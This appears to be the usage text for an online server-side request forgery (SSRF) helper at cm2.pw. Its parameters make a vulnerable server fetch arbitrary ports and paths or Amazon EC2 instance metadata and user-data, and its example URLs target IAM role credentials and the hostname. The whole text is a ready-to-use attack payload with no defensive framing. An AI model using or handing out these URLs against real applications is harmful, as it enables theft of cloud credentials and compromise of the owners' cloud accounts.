Usage:
http://cm2.pw/ssrf?meta=iam

Parameters:
path    -   path data to be fetched from, optional
port    -   port where request is to be sent, default 80
meta    -   meta-data to be fetched from (Amazon EC2), optional
user    -   user-data to be fetched from (Amazon EC2), optional

Example:
http://cm2.pw/ssrf
http://cm2.pw/ssrf?meta
http://cm2.pw/ssrf?meta=hostname